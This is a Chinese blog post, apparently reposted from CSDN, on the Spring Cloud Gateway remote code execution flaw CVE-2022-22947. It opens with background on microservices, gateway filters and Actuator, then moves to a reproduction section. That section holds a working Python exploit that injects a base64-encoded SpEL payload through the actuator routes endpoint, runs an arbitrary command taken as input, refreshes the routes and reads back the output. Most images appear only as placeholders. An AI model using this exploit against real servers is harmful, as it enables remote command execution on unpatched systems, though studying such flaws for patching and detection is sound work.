SpringCloudGateway远程代码执行(CVE-2022-22947)

@TOC

基本介绍

微服务架构与Spring Cloud

【1】微服务架构
是一项在云中部署应用和服务的新技术。大部分围绕微服务的争论都集中在容器或其他技术是否能很好的实施微服务,而红帽说API应该是重点。
微服务可以在“自己的程序”中运行,并通过“轻量级设备与HTTP型API进行沟通”。
关键在于该服务可以在自己的程序中运行。
通过这一点我们就可以将服务公开与微服务架构(在现有系统中分布一个API)区分开来。
在服务公开中,许多服务都可以被内部独立进程所限制。
如果其中任何一个服务需要增加某种功能,那么就必须缩小进程范围。
在微服务架构中,只需要在特定的某种服务中增加所需功能,而不影响整体进程的架构。
【2】Spring Cloud
是一系列框架的有序集合。
它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发,如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等,都可以用Spring Boot的开发风格做到一键启动和部署。
Spring Cloud并没有重复制造轮子,它只是将各家公司开发的比较成熟、经得起实际考验的服务框架组合起来,通过Spring Boot风格进行再封装屏蔽掉了复杂的配置和实现原理,最终给开发者留出了一套简单易懂、易部署和易维护的分布式系统开发工具包

Spring Cloud Gateway

服务网关

【1】 统一入口
所有请求通过网关路由到内部其他服务。
【2】断言(Predicates)和过滤器(filters)特定路由。
断言是根据具体的请求的规则由route去处理;
过滤器用来对请求做各种判断和修改。
【3】Hystrix 熔断机制。
Hystrix是 spring cloud gateway中是以filter的形式使用的。
【4】请求限流
防止大规模请求对业务数据造成破坏。
【5】 路径重写
自定义路由转发规则。

引入这个依赖
在这里插入图片描述在这里插入图片描述

filter

路由过滤器允许以某种方式修改传入的HTTP请求或传出的HTTP响应。路径过滤器的范围限定为特定路径。Spring Cloud Gateway包含许多内置的GatewayFilter工厂。

路由

网关配置的基本组成模块,和Zuul的路由配置模块类似。
一个Route模块由一个 ID,一个目标 URI,一组断言和一组过滤器定义。如果断言为真,则路由匹配,目标URI会被访问。

filter过滤规则

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这几个参考:https://www.cnblogs.com/crazymakercircle/p/11704077.html

Spring Boot Actuator

是一个做监控的组件
可以做健康检查、审查、统计、HTTP追踪
引入这个依赖
在这里插入图片描述

定义服务的端口
在这里插入图片描述
访问9000
在这里插入图片描述

Actuator操作Gateway接口列表

在这里插入图片描述

黑色id表示路由规则id

在这里插入图片描述在这里插入图片描述

在这里插入图片描述

漏洞复现

启动SpringCloudGateway服务

在这里插入图片描述

添加过滤器(POST)

在这里插入图片描述在这里插入图片描述
在这里插入图片描述

刷新过滤器(POST)

在这里插入图片描述

访问过滤器ID(GET)

在这里插入图片描述

python脚本

import requests
import json
import base64
import re

payload1 = '/actuator/gateway/routes/half'
payload2 = '/actuator/gateway/refresh'
payload3 = '/actuator/gateway/routes/half'
headers = {
    
    
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Accept-Language': 'en',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
    'Connection': 'close',
    'Content-Type': 'application/json'
}
proxies = {
    
    
    'http': 'http://IP:8080'
}


data = 'eyAgImlkIjogInd1eWFhcSIsICAiZmlsdGVycyI6IFt7ICAgICJuYW1lIjogIkFkZFJlc3BvbnNlSGVhZGVyIiwgICAgImFyZ3MiOiB7ICAgICAgIm5hbWUiOiAiUmVzdWx0IiwgICAgICAidmFsdWUiOiAiI3tuZXcgU3RyaW5nKFQob3JnLnNwcmluZ2ZyYW1ld29yay51dGlsLlN0cmVhbVV0aWxzKS5jb3B5VG9CeXRlQXJyYXkoVChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMobmV3IFN0cmluZ1tde1wiQ21kXCJ9KS5nZXRJbnB1dFN0cmVhbSgpKSl9IiAgICB9ICB9XSwgICJ1cmkiOiAiaHR0cDovL2V4YW1wbGUuY29tIn0KCg=='

data1 = {
    
    
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Connection': 'close',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '0'
}

def exec():
    # 执行命令
    requests.post(url+payload1,headers=headers,data=base64.b64decode(data).decode().replace('Cmd',cmd),verify=False,timeout=5)
    # 获得结果
    requests.post(url+payload2,headers=headers,data=data1,verify=False,timeout=5)
    # 
    a = requests.get(url+payload3,headers=headers,verify=False,timeout=5).text
    exec = re.findall(r'Result = [\'"]?([^\'" )]+)', a)
    print(exec)

if __name__ == '__main__':
    url = input("Url:")
    cmd = input("Cmd:")
    exec()

漏洞原理分析

在这里插入图片描述

payload分析

在这里插入图片描述
【1】红,创建一个新字符串,并执行任意命令
【2】蓝,Java里运行代码的函数
【3】紫,获取执行的结果
【4】黄,将执行的结果转换成字节数组
【5】黑,将字节数组转换成字符串
【6】绿,spEL
#{…} 用于执行SpEl表达式,并将内容赋值给属性
$ {…} 主要用于加载外部属性文件中的值
#{…} 和$ {…} 可以混合使用,但是必须#{}外面,$ {}在里面,#{ ‘${}’ } ,注意单引号,注意不能反过来

猜你喜欢

转载自blog.csdn.net/m0_57379855/article/details/123446119
今日推荐